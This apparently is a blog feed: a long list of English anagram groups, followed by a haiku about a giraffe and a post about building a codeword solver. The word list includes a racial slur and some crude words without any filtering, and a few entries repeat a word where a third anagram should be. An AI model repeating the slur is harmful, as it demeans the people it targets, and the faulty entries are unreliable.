seton, stone, stone<br />
sabre, baser, saber<br />
rated, trade, tread<br />
posts, spots, stops<br />
parts, tarps, traps<br />
nepal, panel, penal<br />
mabel, mable, amble<br />
lasts, salts, slats<br />
klein, kline, liken<br />
horne, rhone, heron<br />
herod, rhode, horde<br />
dowry, rowdy, wordy<br />
demos, domes, modes<br />
dales, deals, leads<br />
bryon, byron, robyn<br />
brain, brian, rabin<br />
boers, bores, robes<br />
beard, bared, bread<br />
baird, braid, rabid<br />
aries, arise, raise<br />
argon, groan, organ<br />
andes, danes, deans<br />
alger, elgar, lager<br />
theaters, theatres<br />
swelters, wrestles<br />
sondheim, hedonism<br />
socrates, coasters<br />
snatched, stanched<br />
skirting, striking<br />
singling, slinging<br />
shooting, soothing<br />
seething, sheeting<br />
resorted, restored<br />
reserves, reverses<br />
rescuing, securing<br />
recourse, resource<br />
pursuing, usurping<br />
pointers, proteins<br />
platters, prattles<br />
pedaling, pleading<br />
painters, pertains<br />
mutilate, ultimate<br />
minutely, untimely<br />
meriting, mitering<br />
mastered, streamed<br />
licenses, silences<br />
levering, reveling<br />
layovers, overlays<br />
kitchens, thickens<br />
insulted, unlisted<br />
hassling, slashing<br />
greening, reneging<br />
glinting, tingling<br />
gateways, getaways<br />
flirting, trifling<br />
excepted, expected<br />
entrails, latrines<br />
entirety, eternity<br />
enlisted, listened<br />
enlarges, generals<br />
earnings, grannies<br />
drugging, grudging<br />
download, woodland<br />
doubters, obtrudes<br />
dorothea, theodora<br />
discreet, discrete<br />
discerns, rescinds<br />
desiring, residing<br />
deranged, gardened<br />
depraved, pervaded<br />
departed, predated<br />
demurred, murdered<br />
decimate, medicate<br />
creditor, director<br />
credited, directed<br />
creators, reactors<br />
creative, reactive<br />
creation, reaction<br />
compiles, complies<br />
compiled, complied<br />
cloister, costlier<br />
clippers, cripples<br />
climaxes, exclaims<br />
clematis, climates<br />
clanging, glancing<br />
cheating, teaching<br />
cheaters, teachers<br />
chartres, charters<br />
charming, marching<br />
charmers, marchers<br />
caterers, terraces<br />
carvings, cravings<br />
calipers, replicas<br />
buttered, rebutted<br />
builders, rebuilds<br />
brawling, warbling<br />
brailles, liberals<br />
bolsters, lobsters<br />
blotting, bottling<br />
blisters, bristles<br />
auctions, cautions<br />
aspiring, praising<br />
aspirate, parasite<br />
articles, recitals<br />
arrested, serrated<br />
angering, enraging<br />
ancients, instance<br />
altitude, latitude<br />
allotted, totalled<br />
abridges, brigades<br />
abhorred, harbored<br />
tribune, turbine<br />
theater, theatre<br />
stating, tasting<br />
staples, pastels<br />
sorting, storing<br />
silvers, slivers<br />
signing, singing<br />
sidling, sliding<br />
shepard, phrased<br />
setting, testing<br />
setters, testers<br />
sellers, resells<br />
seating, teasing<br />
routing, touring<br />
rousing, souring<br />
robbins, ribbons<br />
reviews, viewers<br />
retrain, terrain<br />
retired, retried<br />
retards, traders<br />
rescues, secures<br />
reid, ride, ride<br />
redound, rounded<br />
ragweed, wagered<br />
presume, supreme<br />
present, serpent<br />
pincers, princes<br />
phasing, shaping<br />
perfect, prefect<br />
pedaled, pleaded<br />
patrols, portals<br />
partied, pirated<br />
overate, overeat<br />
osborne, robeson<br />
orlando, rolando<br />
orestes, stereos<br />
options, potions<br />
openers, reopens<br />
opel, pole, pole<br />
olin, lion, loin<br />
netting, tenting<br />
negroid, ignored<br />
moraine, romaine<br />
mooring, rooming<br />
michael, micheal<br />
meir, emir, mire<br />
meeting, teeming<br />
masters, streams<br />
martial, marital<br />
mars, arms, rams<br />
marines, remains<br />
marbled, rambled<br />
mallory, morally<br />
loraine, aileron<br />
looting, tooling<br />
looping, pooling<br />
list, silt, slit<br />
lineman, melanin<br />
license, silence<br />
leopard, paroled<br />
leif, lief, life<br />
leasing, sealing<br />
layered, relayed<br />
laurent, renault<br />
lapsing, sapling<br />
lane, lean, lean<br />
lactose, locates<br />
kitchen, thicken<br />
kirsten, kristen<br />
keeping, peeking<br />
juanita, tijuana<br />
jeffery, jeffrey<br />
intrude, untried<br />
insures, sunrise<br />
inkling, linking<br />
ignores, regions<br />
however, whoever<br />
horsing, shoring<br />
holster, hostler<br />
hitting, tithing<br />
hera, rhea, rhea<br />
hassles, slashes<br />
halters, lathers<br />
greened, reneged<br />
graders, regards<br />
golding, lodging<br />
gilding, gliding<br />
gateway, getaway<br />
garners, rangers<br />
gardner, grander<br />
ganging, nagging<br />
fretful, truffle<br />
folgers, golfers<br />
fitness, infests<br />
fingers, fringes<br />
finders, friends<br />
filters, trifles<br />
fillers, refills<br />
feeling, fleeing<br />
farming, framing<br />
farmers, framers<br />
erupted, reputed<br />
erasing, searing<br />
eighths, heights<br />
east, sate, seat<br />
earp, rape, reap<br />
earning, nearing<br />
earnest, nearest<br />
dummies, mediums<br />
dueling, eluding<br />
drawing, warding<br />
downers, wonders<br />
dormant, mordant<br />
dieting, editing<br />
desires, resides<br />
denting, tending<br />
density, destiny<br />
deepest, steeped<br />
decrees, recedes<br />
decreed, receded<br />
dealers, leaders<br />
daunted, undated<br />
dashing, shading<br />
darting, trading<br />
darnell, randell<br />
daniels, denials<br />
dairies, diaries<br />
cruelty, cutlery<br />
credits, directs<br />
creator, reactor<br />
craters, tracers<br />
coulter, cloture<br />
cossack, cassock<br />
coroner, crooner<br />
corking, rocking<br />
clobber, cobbler<br />
clasped, scalped<br />
choking, hocking<br />
cheater, teacher<br />
chasers, crashes<br />
charmer, marcher<br />
chalets, latches<br />
certify, rectify<br />
caverns, cravens<br />
cashing, chasing<br />
carving, craving<br />
carmine, crimean<br />
carmelo, marcelo<br />
capsule, upscale<br />
cantors, cartons<br />
calvary, cavalry<br />
callers, cellars<br />
burbles, lubbers<br />
bugling, bulging<br />
bribing, ribbing<br />
branden, brendan<br />
braille, liberal<br />
bolster, lobster<br />
boarder, broader<br />
bluster, subtler<br />
blushes, bushels<br />
blowing, bowling<br />
blowers, bowlers<br />
blotted, bottled<br />
blaster, stabler<br />
berated, rebated<br />
bellied, libeled<br />
bedroom, boredom<br />
bearded, breaded<br />
barking, braking<br />
auction, caution<br />
attuned, taunted<br />
assuage, sausage<br />
aspires, praises<br />
aspired, praised<br />
artists, straits<br />
article, recital<br />
armpits, imparts<br />
ares, ears, eras<br />
aplenty, penalty<br />
antlers, rentals<br />
annette, nanette<br />
amen, mane, mean<br />
algeria, regalia<br />
adheres, headers<br />
adhered, redhead<br />
abet, bate, beat<br />
abel, able, bale<br />
abed, bade, bead<br />
wonder, downer<br />
whiter, wither<br />
vowels, wolves<br />
venice, evince<br />
united, untied<br />
trails, trials<br />
torpid, tripod<br />
timber, timbre<br />
tilted, titled<br />
theron, throne<br />
talley, lately<br />
sweats, wastes<br />
sumter, muster<br />
struts, trusts<br />
stefan, fasten<br />
states, tastes<br />
stater, taster<br />
stated, tasted<br />
sprite, priest<br />
spears, spares<br />
souths, shouts<br />
snakes, sneaks<br />
slavic, vlasic<br />
slater, salter<br />
sitars, stairs<br />
sidles, slides<br />
setups, upsets<br />
setter, tester<br />
seated, teased<br />
salves, slaves<br />
sabers, sabres<br />
russet, surest<br />
rushes, ushers<br />
roused, soured<br />
romans, manors<br />
robbin, ribbon<br />
rhodes, hordes<br />
retard, tarred<br />
resins, sirens<br />
rattan, tartan<br />
ramses, smears<br />
ramada, armada<br />
purses, supers<br />
proust, sprout<br />
poring, roping<br />
pluses, pulses<br />
pisces, spices<br />
peruse, rupees<br />
perils, pliers<br />
payers, repays<br />
patron, tarpon<br />
patrol, portal<br />
pastes, spates<br />
parley, pearly<br />
paring, raping<br />
paltry, partly<br />
others, throes<br />
osborn, robson<br />
osbert, sorbet<br />
option, potion<br />
optics, topics<br />
opines, ponies<br />
nudity, untidy<br />
noting, toning<br />
neuter, tenure<br />
nashua, shauna<br />
misled, smiled<br />
minuet, minute<br />
milton, tomlin<br />
mervin, vermin<br />
melton, molten<br />
mayors, morays<br />
mating, taming<br />
manley, namely<br />
luring, ruling<br />
lovely, volley<br />
levied, veiled<br />
levers, revels<br />
lepers, repels<br />
leonel, noelle<br />
lentil, lintel<br />
lemons, melons<br />
layers, relays<br />
latent, talent<br />
kramer, marker<br />
israel, serial<br />
isolde, soiled<br />
inured, ruined<br />
insult, sunlit<br />
ingest, signet<br />
inches, niches<br />
ideals, ladies<br />
horses, shores<br />
hersey, heresy<br />
haynes, hyenas<br />
handel, handle<br />
halter, lather<br />
guiana, iguana<br />
grates, greats<br />
grable, garble<br />
ginger, nigger<br />
gilded, glided<br />
gerard, regard<br />
gerald, glared<br />
genres, greens<br />
garner, ranger<br />
gaping, paging<br />
fowler, flower<br />
finley, finely<br />
farmer, framer<br />
farmed, framed<br />
except, expect<br />
esther, hester<br />
esters, steers<br />
ernest, resent<br />
enlist, silent<br />
edward, warded<br />
easter, teaser<br />
earthy, hearty<br />
earner, nearer<br />
earned, neared<br />
dorian, ordain<br />
doreen, redone<br />
divers, drives<br />
disney, sidney<br />
direst, driest<br />
devoid, voided<br />
denude, endued<br />
dented, tended<br />
denser, sender<br />
denied, indeed<br />
defend, fended<br />
dearer, reader<br />
dealer, leader<br />
dawdle, waddle<br />
davies, advise<br />
dashes, shades<br />
darted, traded<br />
darius, radius<br />
daniel, denial<br />
danger, gander<br />
curtis, citrus<br />
crusty, curtsy<br />
creeps, crepes<br />
credit, direct<br />
crater, tracer<br />
citric, critic<br />
cavern, craven<br />
caveat, vacate<br />
causes, sauces<br />
casual, causal<br />
cashes, chases<br />
cashed, chased<br />
carves, craves<br />
carved, craved<br />
carter, crater<br />
cartel, rectal<br />
carole, oracle<br />
canoes, oceans<br />
caller, cellar<br />
cagney, agency<br />
cadres, cedars<br />
burble, rubble<br />
bugles, bulges<br />
bribed, ribbed<br />
bowers, browse<br />
bowels, elbows<br />
bombed, mobbed<br />
bluest, sublet<br />
blower, bowler<br />
binary, brainy<br />
berger, gerber<br />
bengal, bangle<br />
beards, breads<br />
barked, braked<br />
barest, breast<br />
bagels, gables<br />
awning, waning<br />
asmara, samara<br />
ashley, halsey<br />
artist, strait<br />
armpit, impart<br />
arises, raises<br />
argues, augers<br />
angels, angles<br />
angela, galena<br />
ambles, blames<br />
ambled, blamed<br />
alston, salton<br />
aliens, alines<br />
alfred, flared<br />
aileen, elaine<br />
agreed, geared<br />
afield, failed<br />
yates, yeats<br />
wiley, wylie<br />
wilde, wield<br />
weird, wired<br />
warps, wraps<br />
views, wives<br />
tunis, units<br />
trail, trial<br />
torts, trots<br />
tomas, moats<br />
tired, tried<br />
tenor, toner<br />
tatar, attar<br />
swede, sewed<br />
sweat, waste<br />
swaps, wasps<br />
strut, trust<br />
stein, stine<br />
state, taste<br />
spilt, split<br />
snake, sneak<br />
sloan, salon<br />
signs, sings<br />
sibyl, sybil<br />
shane, ashen<br />
scots, costs<br />
saves, vases<br />
salve, slave<br />
sales, seals<br />
sabin, basin<br />
ryder, dryer<br />
rusts, truss<br />
ruses, users<br />
rubin, bruin<br />
roses, sores<br />
rival, viral<br />
rises, sires<br />
rests, tress<br />
quiet, quite<br />
puree, rupee<br />
pride, pried<br />
pores, prose<br />
piles, plies<br />
piled, plied<br />
piers, pries<br />
pests, steps<br />
pesos, poses<br />
peron, prone<br />
patel, petal<br />
pasts, spats<br />
paste, spate<br />
pares, pears<br />
paled, plead<br />
optic, topic<br />
olson, solon<br />
noted, toned<br />
nobel, noble<br />
navel, venal<br />
nasty, tansy<br />
nancy, canny<br />
moors, rooms<br />
miles, limes<br />
merit, remit<br />
melva, velma<br />
mates, meats<br />
mated, tamed<br />
mason, osman<br />
mares, reams<br />
marco, macro<br />
lures, rules<br />
lured, ruled<br />
loves, voles<br />
lotus, louts<br />
loses, soles<br />
loges, ogles<br />
lists, slits<br />
liens, lines<br />
lenin, linen<br />
lemon, melon<br />
leary, early<br />
lassa, salsa<br />
lapse, leaps<br />
lanes, leans<br />
lakes, leaks<br />
knead, naked<br />
kites, tikes<br />
keeps, peeks<br />
keats, takes<br />
jaime, jamie<br />
italy, laity<br />
hosts, shots<br />
hoses, shoes<br />
hares, hears<br />
hades, heads<br />
grins, rings<br />
girds, grids<br />
gears, rages<br />
gases, sages<br />
gamma, magma<br />
gable, bagel<br />
freda, fared<br />
forth, froth<br />
flier, lifer<br />
fists, sifts<br />
fires, fries<br />
fired, fried<br />
files, flies<br />
fiend, fined<br />
feels, flees<br />
fates, feats<br />
fares, fears<br />
false, leafs<br />
evans, vanes<br />
ervin, riven<br />
epics, spice<br />
emits, mites<br />
elvin, liven<br />
eldon, olden<br />
egret, greet<br />
edwin, widen<br />
edens, needs<br />
ebony, boney<br />
ebert, beret<br />
eaton, atone<br />
earns, nears<br />
dusty, study<br />
dunes, nudes<br />
dries, rides<br />
dried, redid<br />
draws, wards<br />
drags, grads<br />
doyle, yodel<br />
doors, odors<br />
doles, lodes<br />
dirge, ridge<br />
diets, edits<br />
diana, nadia<br />
dewey, weedy<br />
dewar, wader<br />
deify, edify<br />
dawns, wands<br />
dawes, wades<br />
dario, radio<br />
darin, drain<br />
dares, reads<br />
dairy, diary<br />
crude, cured<br />
crisp, scrip<br />
crete, erect<br />
creep, crepe<br />
corny, crony<br />
corks, rocks<br />
coins, icons<br />
codes, coeds<br />
cloud, could<br />
clots, colts<br />
clare, clear<br />
civet, evict<br />
chose, echos<br />
chase, aches<br />
casks, sacks<br />
carve, crave<br />
carol, coral<br />
carla, clara<br />
capes, space<br />
caped, paced<br />
canon, conan<br />
camry, marcy<br />
calms, clams<br />
brute, rebut<br />
brunt, burnt<br />
brags, grabs<br />
brady, darby<br />
bored, robed<br />
boles, lobes<br />
board, broad<br />
blows, bowls<br />
blots, bolts<br />
blake, bleak<br />
berle, rebel<br />
bates, beats<br />
basel, sable<br />
banes, beans<br />
balms, lambs<br />
ayers, years<br />
avers, raves<br />
auden, duane<br />
atria, tiara<br />
artsy, stray<br />
anita, tania<br />
angry, rangy<br />
angel, angle<br />
ample, maple<br />
alton, talon<br />
aloft, float<br />
aline, alien<br />
alden, laden<br />
akron, koran<br />
advil, vidal<br />
adler, alder<br />
adept, taped<br />
weir, wire<br />
wasp, swap<br />
warp, wrap<br />
ware, wear<br />
wake, weak<br />
wade, awed<br />
vein, vine<br />
tort, trot<br />
tide, tied<br />
tess, sets<br />
sues, uses<br />
sony, nosy<br />
sept, pest<br />
sean, sane<br />
scot, cost<br />
saks, asks<br />
ryan, yarn<br />
ruby, bury<br />
riel, rile<br />
reva, vera<br />
raul, ural<br />
rare, rear<br />
post, spot<br />
pits, tips<br />
piss, sips<br />
pate, peat<br />
past, spat<br />
part, rapt<br />
owes, woes<br />
orin, iron<br />
olaf, loaf<br />
odom, doom<br />
nous, onus<br />
nita, tina<br />
newt, went<br />
nest, sent<br />
nero, reno<br />
neon, none<br />
neil, nile<br />
moet, mote<br />
mist, smit<br />
milo, limo<br />
mien, mine<br />
meet, mete<br />
mays, yams<br />
mate, meat<br />
mary, army<br />
mara, rama<br />
lyle, yell<br />
lust, slut<br />
lows, owls<br />
lost, slot<br />
lewd, weld<br />
leos, lose<br />
left, felt<br />
lamb, balm<br />
kris, irks<br />
koch, hock<br />
jane, jean<br />
ives, vies<br />
ivan, vain<br />
irma, mira<br />
iran, rain<br />
imam, maim<br />
huts, thus<br />
host, shot<br />
hoes, hose<br />
hits, this<br />
hewn, when<br />
heir, hire<br />
hank, ankh<br />
hale, heal<br />
gums, mugs<br />
goya, yoga<br />
gory, orgy<br />
girt, grit<br />
gird, grid<br />
gels, legs<br />
gals, lags<br />
gael, gale<br />
frey, frye<br />
form, from<br />
flit, lift<br />
fist, sift<br />
fief, fife<br />
fate, feat<br />
fart, raft<br />
fare, fear<br />
ewer, were<br />
evan, vane<br />
eton, tone<br />
erna, rena<br />
erin, rein<br />
emit, mite<br />
emil, mile<br />
elva, vela<br />
elsa, lesa<br />
ella, lela<br />
elam, lame<br />
egos, goes<br />
eels, lees<br />
edam, dame<br />
eben, been<br />
earl, real<br />
dons, nods<br />
dogs, gods<br />
does, odes<br />
diem, dime<br />
deon, done<br />
dens, ends<br />
debs, beds<br />
dare, dear<br />
dale, deal<br />
crud, curd<br />
colt, clot<br />
colo, loco<br />
coin, icon<br />
code, coed<br />
catt, tact<br />
cato, taco<br />
cask, sack<br />
cary, racy<br />
carp, crap<br />
calm, clam<br />
calk, lack<br />
buds, dubs<br />
brut, burt<br />
bran, barn<br />
brad, bard<br />
bogs, gobs<br />
boer, bore<br />
blot, bolt<br />
bins, nibs<br />
bert, bret<br />
bean, bane<br />
bart, brat<br />
bake, beak<br />
ayes, yeas<br />
arts, rats<br />
arid, raid<br />
amid, maid<br />
alva, lava<br />
alps, laps<br />
alma, lama<br />
aids, dais<br />
adds, dads<br />
acts, cats<br />
abby, baby</p>
Evolution Haiku2013-09-15T00:00:00+00:00http://laurencetennant.com/evolution-haiku<blockquote>
<p><strong>evolution</strong><br />
savannah dust trails<br />
whistling thorn hovers above<br />
hungry giraffe grows</p>
</blockquote>
<p><img src="/assets/giraffe.jpg" alt="hungry giraffe grows" /></p>
Codeword Solver2013-09-12T00:00:00+00:00http://laurencetennant.com/codeword-solver<p><strong>Now online:</strong> <a href="https://codewordsolver.com">codewordsolver.com</a></p>
<p>About a year ago I was stuck on a fiendish codeword. Not wanting to pay the extortionate rates that papers charge for puzzle helplines, I created a codeword solver.</p>
<p>During this process, I found it fascinating to study the way that words are constructed. English is unique in the vastness of its foreign influences, and several of the most difficult clues are loan words, like “verandah”. They do not follow the same letter-ordering logic that characterises most English vocabulary.</p>
<p>What goes through your mind when you see an incomplete word: r . p . . t . . ? Why does the full word suddenly jump into your head on some days, whilst on others nothing comes for hours?</p>
<p>The closest thing to codewords on television is the final round of the UK game show <a href="https://en.wikipedia.org/wiki/Only_Connect">Only Connect</a>. Cultural phenomena like book titles or famous sportspeople flash up with vowels deleted, i.e. “prd ndp rj dce” for <em>Pride and Prejudice</em>. Contestants score points by buzzing in first and calling out the full phrase. People tend to vary hugely in their performance in this round: half never buzz in, whilst others seem to be impossibly fast at seeing answers across all spheres of knowledge, like <a href="http://www.youtube.com/watch?v=4nogLrh-F7Y&t=26m38s">this guy</a>.</p>
<p>I only get there quicker than the contestants when the category of the clues is something that I’m very familiar with. Otherwise, I’m way slower than them.</p>
<p>If I were to program a computer to be good at this game, it would have to contain a database of all culture. The program would then perform many operations to compare the missing vowels string against potential matches in the correct category. Although it doesn’t ‘feel’ like that’s what happening inside our brains when we complete codewords or find missing vowels, there must be a similar algorithm at work.</p>
<p>The computer program could be sped up a lot by indexing the potential matches by initial letter. Perhaps that’s why it’s so much harder to complete a clue when we lack the first letter.</p>